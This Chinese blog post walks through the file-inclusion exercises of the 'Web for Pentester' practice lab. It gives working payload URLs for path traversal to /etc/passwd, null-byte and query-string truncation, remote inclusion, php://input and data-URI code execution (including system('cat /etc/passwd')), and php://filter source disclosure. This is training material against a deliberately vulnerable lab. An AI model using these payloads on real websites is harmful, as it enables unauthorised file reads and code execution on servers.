【渗透测试学习平台】 web for pentester -7.文件包含
Example 1
输入单引号,报错,得到物理路径
可通过../../../../etc/paaswd 读取敏感信息
可包含本地文件或远程文件
https://assets.pentesterlab.com/test_include.txt
Example 2
加单引号,报错,可发现获取到的参数后面会加上.php后缀
通过%00截断后面字符
http://192.168.106.154/fileincl/example2.php?page=https://assets.pentesterlab.com/test_include.txt%00
文件包含截断技巧:
1、%00截截断
2、文件路径长度截断
3、截断远程包含 问号截断法 url的话就可以随意发挥了,把不想要的扔到参数里面就好了,非常简单
http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?id=
或者直接 http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?
1、将文件包含漏洞变成代码执行漏洞
php://input <?php phpinfo();?>
2、通过data URI schema
http://192.168.106.154/fileincl/example1.php?page=data:text/plain,<?php system('cat /etc/passwd')?>
http://192.168.106.154/fileincl/example1.php?page=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
3、通过php://filter读取源码
http://192.168.106.154/fileincl/example1.php?page=php://filter/read=convert.base64-encode/resource=intro.php
base64解码
最后
欢迎关注个人微信公众号:Bypass--,每周一篇原创高质量的干货。
参考文章:
文件包含漏洞小结 http://www.cnblogs.com/iamstudy/articles/include_file.html
php://input,php://filter,data URI schema的那些事 http://www.cnblogs.com/qing123/p/4513870.html
截断在文件包含和上传中的利用 http://www.joychou.org/index.php/web/truncated.html
PHP文件包含漏洞总结 https://www.secpulse.com/archives/3206.html
盘点那些渗透测试中的奇淫技巧 https://bbs.ichunqiu.com/thread-14031-1-1.html
最新文章
- EF6 连接Oracle 迁移数据错误解决方法
- youtube视频批量下载
- css中zoom和transform:scale的区别
- Sublime怎样新建HTML文档
- closest()一个在评论里很有用的函数
- Unity 网络斗地主 牌的一些算法
- 自动测试工具SilkTest全面介绍
- Docker私有仓库--自签名方式
- 事件日志:无法加载站点/服务的所有 ISAPI 筛选器。因此启动中止。
- zend Framework的MVC模式的搭建
- ●BZOJ 4278 [ONTAK2015]Tasowanie
- CF997C Sky Full of Stars
- Capsules for Object Segmentation(理解)
- JavaScript数组方法--reduce、reduceRIght、reverse
- 微信小程序使用wxParse解析html
- Android SurfaceView及TextureView对比
- cryptopunks的代码解释
- PHP常用工具类积累
- codeforces 768E Game of Stones
- ROS进阶学习笔记(10)- 搭建自己的Turtlebot(5) - Interactive Makers